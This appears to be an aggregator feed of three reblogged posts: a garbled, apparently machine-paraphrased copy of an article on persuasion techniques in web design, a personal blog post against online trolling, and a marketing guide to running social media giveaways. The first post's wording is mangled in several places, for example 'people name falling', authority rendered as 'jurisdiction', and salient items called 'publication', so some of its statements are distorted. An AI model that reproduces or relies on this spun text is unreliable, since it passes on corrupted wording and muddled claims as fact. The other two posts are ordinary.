This principle tells us that we like to think that our behaviour is consistent with our beliefs. When you have a stand on something which is observable to other folks, you suddenly feel a drive to keep that point of view to appear reliable and constant.

A familiar illustration of that in action is when comments on a site degrade to a flame war. Commentators are driven to justify their earlier comments and frequently become even more polarised in their own positions.

Fig. 3: Flamewars.net comprises many instances of people justifying their commitment to comments they have made on a site posting.

Persuasion architects apply this principle by requesting a comparatively minor, but observable, dedication from you. They understand that if they can get you to act in a specific way, you will soon start thinking it. As an instance, an organisation might ask you to ‘Like’ one of their merchandise on Facebook to watch a movie or get access to specific content. After this appears on your NewsFeed, you have created a public commitment to the goods and feel more inclined to encourage it.

Fig. 4: Oxfam utilizes the principle of commitment in the knowledge that a little shift in behaviour will lead to larger changes in the future.

Social Proof

“I go with the flow.”

This principle tells us that we like to observe other people’s behaviour to judge what is normal, and then we copy it.

Persuasion architects apply this rule by showing us what other people do on their internet sites. As an instance, investigators at Columbia University establish a web site that asked individuals to listen to, download and rate songs by unsigned bands. Some individuals simply saw the names of the tunes and bands, while some — that the “social influence” band — also saw how many occasions the songs were downloaded by other people.

In this second category, the most popular songs were much more popular (along with the least popular tunes were popular) than in the independent condition, demonstrating that people’s behaviour was influenced by the crowd. Even more astonishingly, when they conducted the experiment, the specific tunes that became “hits” were different, demonstrating that social influence did not only make the hits bigger but also made them more unpredictable.

Fig. 5: 1 million individuals can’t be incorrect (from ).

Some familiar examples of social proof on the internet are, “Individuals who shopped for this product also looked at…” feature and Amazon’s, “What exactly do customers ultimately buy after viewing this item?” .

Persuasion architects also use this principle in the power of defaults. They are aware that the default setting of a user interface control has a powerful influence on people’s behaviour. We tend to see the default setting as a ‘recommended’ choice — the choice that many other people would choose in our situation. There are various cases of this being used as a black hat usability technique, where extra items (like insurance) are sneaked to the consumer’s basket.

Fig. 6: If you book a flight, RyanAir sneak travel insurance in your basket also.

Authority

“I’m more likely to act on advice if it is communicated by an expert.”

This principle is about affecting behavior through authenticity. People are more likely to take action in the event the message comes from a credible and authoritative source. That’s the reason you will hear people name falling and it is also what drives retweets on Twitter.

Fig. 7: A tweet from @smashingmag is likely to be retweeted since the brand has this jurisdiction.

For design guidance, we can turn to the Stanford Persuasive Technology Lab (based on B.J. Fogg) as they have developed a range of tips for the trustworthiness of internet sites. These principles are based on research by over 4,500 individuals and derive from peer reviewed, scientific research. Due for their study, we know that you need to highlight the expertise in your organisation and in the content and services you provide; reveal that honest and trustworthy people stand behind your website; and prevent errors of all kinds, however small they look.

Persuasion architects use this principle by providing glowing testimonials on their internet website. When it’s an e-commerce website they will have highly visible icons demonstrating that the website is protected and can be reliable. In case the website contains a forum, they will give folks the opportunity to rate their peers : for instance, some internet forums (like Yahoo! Answers) let users vote up (or down) answers to submitted questions. The best rated answer is then perceived to be the most authoritative.

Fig. 8: UXExchange enables users to vote up and vote down answers to queries, ensuring that the most authoritative answer rises towards the top.

Scarcity

“When it is running out, I need it”

This principle tells us that individuals are more likely to want something if they believe it’s available only for a limited time or if it’s in short supply. Intriguingly, this is not only about the fear of missing (a sort of reverse social proof). Scarcity actually makes stuff appear more precious. As an instance, psychologists have demonstrated that in case you give folks a chocolate biscuit from a jar, they rate the biscuit as more pleasurable if it comes from a jar with only 2 biscuits than from a jar with 10.

Persuasion architects use it by revealing deficiency in the design of the interface. This could be an item of clothing that is running short on your size, theater tickets which are running out, or invitations to some beta launch. They understand that perceived scarcity will generate demand.

Related to that is the ‘shutting down’ sale. Among those artists in my buddy’s art co-op lately decided to give up the co-op and announced this with a hint in-store. She had a major rush on earnings of her artwork. Then she decided to not stop after all. So faking to go out of business might be a ploy!

Fig. 9: Phrases like ‘only 4 left in stock’ appear to stimulate a primal urge to not miss out.

Framing

“I’m strongly influenced by the way costs are styled.”

This principle acknowledges that individuals aren’t very good at estimating the total value of what they’re buying. People today make comparisons against the alternatives you reveal them or some external standard.

One illustration is the way a restaurant employs an “anchor” dish on its menu: This really is an overpriced dish whose sole intent is to earn everything near it seem like a comparative bargain. Another illustration is that the Goldilocks effect in which you provide users with three different choices. However, just two of those choices are decoys: one is a overpriced, gold plated version of the product; another is a barely usable base version. The third option — the one which you need people to choose — sits midway between both and therefore feels “just right.”

Fig. 10: BT’s ‘Endless broadband and forecasts’ alternatives seem deliberately overpriced compared to the ‘TV, Broadband and Calls’ alternative presumably because it wants to to improve its share of TV clients.

Salience

“My focus is drawn to what is related to me right now.”

This principle tells us that individuals are more likely to listen to elements on the user interface which are publication (such as a coloured ‘submit’ button) and which are related to where there are in their task. As an instance, there are specific times during a buy when shoppers are more likely to explore a marketing or a particular offer. By distinguishing these seducible moments you will learn when to offer a customer an accessory for a product they have purchased.

Fig. 11: After placing an order for a TV in the Comet web site, the designers invite you to include other pertinent items to a basket. This is exactly the perfect time to generate the deal: after you’ve purchased the TV they remind you that you will have to put in it.

Where to go next

Below are a few terrific resources to find out more about persuasion structure.

The post <p>Persuasion Triggers In Internet Layout — Smashing Magazine</p> appeared first on Vista Icon Creator.

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plogan721 · 6 years

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Attention All Trolls (Yes, that means Me too)

Attention: If you say mean comments about someone’s post, comment, video, etc…. you are a troll. I am not talking about those cute little things from the latest movie by the same name, those cute little dolls people were seen carrying in the 1970’s, or those trolls from Frozen, I am talking about those people who feel uncomfortable enough that they say mean nasty things about something that another person post in pictures, video, and in print on the internet.

Before I address that, note I said in the title, me too. Yes, guilty as charged. Why did I confess? Because in the Bible, there is a bible passage (a group of scriptures) that points out that you cannot point out the actions of your brother without pointing out your own faults. (started to use the Old English word, and MS. Word would not let me), so I am not exactly the “Snow White” of comments. In the beginning, especially, I have been known to have a tart in my comments about another post or video.

Now, I am not against our country’s 1st amendment rights of free speech. In fact, sometimes I think we, as Americans take it too far. Yes, while we do have the right to say what we want to say, we really do not. I want to ask you (especially if you constantly the one doing the trolling):

· When is it right to call another race of people names like Pocahontas (for Native Americans) -heard that was said by our lovely POTUS (President of The United States) about another senator in front of a group of Native American Veterans, or calling each other in the same race N****. If you do that, not only are you hurting that race, but you also do not have any respect for yourself.

· Tell a Youtubber that they are fake because they advertise on their channel. (Also known as having sponsorship). Last night, I was reading comments on Cullen and Katie’s channel because I thought that the video, which was a sponsored video for Google Home, was cute. They rarely do sponsor videos, but I had to be nosey, and peek at what others said about the video. Most people thought that the video was cute, especially Gaines and Brookes (their children ages 3 and 1), but there were one or two who thought that Cullen and Katie were being sellouts, being fake, and other nasty little comments. Folks, I will address the real life as a Youtubber in another post, but this is their job. Any job, from being an actor, an ordained minister, construction worker, a blogger, mortician, or a vlogger has it's not so glamorous moment. If you want to make money in this business (blogging and vlogging), you need sponsorship. Not only that, Youtube has forced advertising on our channels, mine included. Next, these sponsors will require product placement in videos, which is what television shows do. You need lots of viewership to see any type of profit, and right now, I have 125 regular subscribers on my Youtube channel, and 556 pageviews from the month of October without posting a single new post on this blog, My Ambience Life. I would love to see the numbers that Cullen and Katie get on their channel. They have consistency and cuteness on their side, and I vlog sporadically, and I took off for 3 months on this blog.

· When you basically point out how ugly, stupid, or a being an idiot that the person was for posting in the first place. You do not like the content, but you decided to point out the person instead. That is being plain childish in the first place.

Folks, I have one word and one phrase for you…. Delete, and don’t watch (read). You do not like the content, move on. This should be that simple. This goes for anything that shows up on Facebook and Twitter feed (I have yet to see that much control on Pinterest, Instagram, and SnapChat), but you are in control of your feeds. I do it all the time. If a friend posts something on Facebook or Twitter that I do not like. I ignore it or delete it. Facebook even has the option for you to receive fewer posts from that person or to delete that one post. Sometimes, I delete it because I do not like the language or the content is not my taste. You must remember that this is what that person is thinking at the time.

I wish that the blogger or vlogger would give some sort of announcement when their video is sponsored. Some like Cullen and Katie or GabeBabeTV will do that, but a lot will not. For the ones that do not, I do not watch as much. I am like you, If I want to watch a commercial, I have my lovely television set to keep me warm, but I must bare through it. This happened when Google bought both Blogger and YouTube. Unfortunately, the interwebs within itself have become one great, big commercial. This world has become one, big commercial.

Anyway, all I am saying is (and I am probably talking to the air at this point), that no one likes nastiness and when you spend a better part of your day trying to given information that may help someone, even if it to entertain a person for 10-15 minutes a day, like I do, the last thing a person needs is someone to comment on a person’s hair, weight, their children, or their decision on what they did or not do new on their channel. For the most part, I personally ignore the comments that are nasty, but I hate it when it presents itself on other people’s channels, news feeds, and blogs. It makes me wonder why a person would subscribe to a channel in the first place. I understand that we as bloggers and vloggers ask for subscribers and “likes”, but it is our job. Yes, I could be doing a 9-5 job, and I do have other jobs besides this, such as graphic designing for others, but I love the freedom that a supervisor at a company could never give me. I have done it for over 15 years, and it is tough when you must request to get off and get frowned on when you miss work due to an illness.

Don’t get me wrong, I loved every single one of my jobs, including the temporary ones. There were the jobs that I hated, and there were jobs that I loved everything about the job, except a couple of tasks that were part of the job itself. I will have to tell you about the worst job I ever had and why I hated the job.

Well, I am rambling now.

So, your takeaway for today is real simple.

Please do not be a troll. I and other bloggers and vloggers understand your opinions, and we welcome them all, but some comments spell out hatred. There is a saying that I first heard on the movie, Bambi. This is the part when Thumper was commenting on how small Bambi’s legs were and if he was going to be able to stand on them at all. The saying goes; “If you cannot say something nice (Thumper pauses), don’t say it at all.” It is a good lesson and one of many on how to treat someone, especially on the internet. Most times and before I say something about an article, post, picture, or video, I try to put myself in that person’s shoes. By that time, the mean thought is out of my head. I also check comments before I place mine because what I want to say may have already has been said. No use telling that person the same thing twice.

Well, I have covered trolls twice this year. I am done. If no one gets it by now, then remember, it is a matter of respect for one’s art, even in writing. What a person does on their videos, newsfeeds, pages, and blogs is their business. If a person is wrong, I am sure there are plenty of people to get them banned from Facebook, Twitter, even Pinterest, and Youtube. No use writing a nasty comment to stoke the ego. Have a good evening.

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#IFTTT #Blogger

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reverseskydives · 6 years

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How to Run a Profitable Giveaway

Running a contest or a promotional giveaway is one of my favorite ways for a company to connect with their customers.

But like so many other aspects of business, I see too many people doing this wrong.

That’s OK – for now.

While it may sound simple, promotional campaigns like this aren’t as easy as just picking a name out of a hat.

You want to run a giveaway that creates brand awareness and generates a profit for your company.

When done correctly, this won’t cost much at all.

Contests can even generate some free advertising for your brand.

This is especially true if you use social media as the platform for your giveaways.

89% of marketing experts said that social media increased exposure for their company.

In addition to exposure, social media marketing:

generates leads

increases website traffic

improves customer relationships

helps search rankings

That’s what you need to remember.

Giveaways are a marketing tactic.

So if you’re not using these tools to promote your brand and ultimately increase profits, you’re doing it wrong.

I’ve got plenty of experience in this space.

I’ll show you how to run a profitable giveaway and provide some examples for you to follow as well.

Figure out what kind of contest you want to run

All promotional contests are not the same.

There are three main types of promotions that you can do.

Contest

Sweepstakes

Lottery

If you’re running a contest, it means that the participants are doing something that requires some sort of skill and effort to win a prize.

Some popular contests may include a photo, video, essay, or caption.

The winners are selected by some sort of vote or judgment.

Here’s an example.

The picture that has the most likes will win this contest.

A sweepstakes, on the other hand, requires no skill, and it’s based completely on chance.

Winners get determined randomly.

Purchases, payments, and other considerations cannot determine the winner of a sweepstakes.

A lottery means that contestants made some sort of purchase or monetary consideration in order to participate.

For example, buying a ticket for a chance to be selected would count as a lottery.

Don’t do this.

In fact, state and federal laws have restrictions against these kinds of giveaways.

So it’s in your best interest to just stick to contests and sweepstakes.

Before you get started, ask yourself if you want to just give something away randomly or if you want there to be skill involved.

There’s nothing wrong with a sweepstakes, but personally, I think contests are more effective.

When your customers know that their efforts will increase their chances of winning, it gets them more engaged with your brand.

Choose the right platform

Now that you’ve decided whether or not you’re going to run a contest or sweepstakes, it’s time to figure out how where you plan to host it.

Facebook

Twitter

Instagram

Your website

All of these are viable options.

In fact, you could potentially run the same contest through multiple platforms.

Select a winner on each one.

That could get your customers to participate more than once and increase your brand exposure even more.

Here’s an example of a website contest from Fairmont Hotels & Resorts.

It’s very professional and well written.

With that said, you don’t want to limit yourself by running a giveaway solely on your website.

How often do people visit your site?

Probably not as often as they use social media platforms.

That’s why I recommend using social media as the primary platforms for your giveaways.

It’s a great way to establish brand loyalty.

The people who follow you on social media are already interested in your business.

Running a giveaway here will peak their interest even more.

Plus, any actions that they take such as liking, commenting, posting, or sharing will get viewed on the newsfeed of all of their friends.

Set a deadline

It may sound simple or obvious, but you would be surprised how often I see this mistake.

Your deadline needs to be clear, for a few reasons.

Let’s say a customer or prospective contestant wants to enter your giveaway.

If they don’t see a posted deadline, it could turn them away.

This person may just assume that the deadline has passed, even if you haven’t chosen a winner yet.

You’re missing out on a chance of getting more exposure if this customer was going to share the information on their social media platforms.

Another reason you’ll need to post the deadline is to avoid late entries.

Pretend you’re running an Instagram contest where the winner is selected by the most number of likes on a photo.

You choose a winner but a few days later someone posts a picture that gets more likes than the one you selected.

This contestant contacts you for their prize.

Now what?

You’re put in a tough situation, and overall it’s not a good look for your company.

Adding a deadline to your giveaway is too easy for you to forget.

Look at the example above.

See how easy that was?

Next time you run a promotional giveaway, make sure the deadline is clearly posted.

It will save you some headaches down the road.

Make sure the rules are clear

Piggybacking off of my last point, you don’t want to have any confusion while you’re running the contest.

Depending on your location, rules may vary from state to state.

So you’ll want to make sure that whatever you’re doing falls within legal regulations.

Here are some things are commonly included as rules for a contest:

Eligibility (age, location, etc.)

No purchase required

Purchases don’t increase chances of winning

Dates (winner chosen and winner notified)

Judging criteria (for contests)

Privacy laws regarding the winner identity

Odds of winnings

If you’re running a contest on a specific platform, make sure that you’re compliant with those rules and regulations as well.

Here’s a link to the Facebook guidelines for running a promotion, which is definitely something that I recommend you review before getting started.

For example, you must acknowledge that your promotion is not endorsed, sponsored, or affiliated with Facebook (the company) in any way.

Facebook also prohibits using phrases like:

“share on your timeline to enter”

“post this on a friend’s page to enter”

“tag your friends to increase chances of winning”

So while you want to encourage posts and shares, just make sure you do it within the rules.

Here’s a snippet from TMZ’s contest rules and regulations.

The full page is much longer, but they clearly and thoroughly post everything to avoid any potential confusion, liability, or legal trouble.

If you have a long page of rules, consider providing a link to your website for a full explanation.

That’s more efficient than trying to post something as long as the above example as your Instagram caption.

The prize needs to be relevant

What are you giving away?

It needs to be related and appropriate for your brand and image.

Let’s say you’re a company that specializes in snowboarding and ski equipment.

Running a contest that gives the winner round trip tickets to the Bahamas doesn’t really speak to your audience.

Flying them out to a ski lodge in Colorado would make much more sense.

If you’re giving away a physical product, include a photo of it.

Telling the contestants that you’re giving away a new camera isn’t as effective as showing them the camera.

Here’s an example of a giveaway from Ticket Master.

It’s relevant.

You can buy tickets to sporting events on their website, so they’re giving customers a chance to win a trip to the Super Bowl.

Although they didn’t include an image of the actual tickets, the Super Bowl logo is just as effective.

Visuals speak to people more than words.

That’s why it’s important to incorporate them into your promotion.

Create a customized hashtag for your giveaway

Hashtags are one of the best ways to promote your brand on social media.

So come up with something unique that speaks to your company as well as the promotion.

If you’re having trouble coming up with something, you can use an online resource like Hashtagify to come up with related tags and trends for your industry.

Use that as a guide to create your own, but make sure nobody else has used it before, so there’s no confusion.

For those of you who already use hashtags successfully to promote your brand, make sure you come up with a new one for each contest.

Here’s a great example of how High Society Freeride used a unique hashtag to promote their giveaway.

Notice how they effectively used capitalization, so the hashtag pops and is easy to read.

#OneLifeMakeItCount reads much better than #onelifemakeitcount.

The hashtag can be the way you find a winner of a contest.

Just click on the hashtag to view all the pictures, videos, and posts.

That’s the easiest way to review and judge which entries were the best.

The hardest part about using a hashtag is just coming up with a creative one in the first place.

After that, it doesn’t require any effort or money from your company.

Hashtags can also increase engagement and make it easier for you to spread the word about your giveaway.

Make sure mobile users can access and participate in your contest

I mentioned earlier that you shouldn’t just run a giveaway through your website.

Keep mobile users in mind when you’re coming up with this marketing strategy.

Mobile users spend the majority of their time using apps.

So consider using platforms that are strictly for apps.

Instagram is a top choice for this.

Facebook and Twitter also have mobile applications, which is why earlier I recommended social media platforms as the top resource for giveaways.

If your company has its own mobile app, run your giveaway through there as well.

You can send users who downloaded the app notifications of the promotion directly to their phones.

Allow contestants to share the contest with friends and family

To get the most exposure, your giveaway needs to be shareable.

Earlier I mentioned that some platforms, such as Facebook, prohibit you from using certain statements to encourage sharing.

With that said, you can still include social sharing icons on your website.

Here’s a great example of how Fatherly did this to promote their sweepstakes.

Again, the whole idea behind this giveaway is to turn a profit for your company.

Allowing users to share this content will drive more traffic to your site and potentially improve conversions as well.

Notify everyone when you’ve selected a winner

This relates back to what we talked about earlier about establishing a timeline.

Take your deadline one step further.

For example, the date for participants to enter your promotion may be the last day of the month.

However, it could take you up to a week or two to go through all of the entries and select a winner, especially if it’s a contest with lots of participants.

So make it clear when a winner has been announced.

Look how Starbucks does this to announce the winners of their red cup contest.

Make sure you have the winner’s consent if you’re going to reveal their identity.

All of that should be clearly outlined in the rules (which we discussed earlier) to avoid any problems or confusion.

Conclusion

Don’t run a giveaway without a clear goal or reason.

Like every other business decision you make, this will require some thought and planning.

First, you need to determine which kind of giveaway you’re going to run.

If you want the winner to be completely random, you should hold a sweepstakes.

Contests are better if you want there to be some sort of skill, voting, or judgment involved in determining the winner.

Run the contest on multiple platforms.

Social media works best for establishing customer loyalty and increased brand awareness. It also makes the promotion more shareable.

Set a deadline and clearly post all of the rules for your giveaway.

Make sure your prize is relevant to your brand.

Creating a unique and customized hashtag will help you promote your brand and get more recognition.

When it’s over, make sure you announce to everyone that a winner has been selected.

What do you do after that?

Continue to run more contests!

If you follow these tips, it will be profitable for you every time.

What unique hashtag will you come up with to promote your giveaway on Instagram?

from Social Media Marketing http://ift.tt/2zswYAs via Social Media Marketing

#Social Media Marketing

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filipeteimuraz · 6 years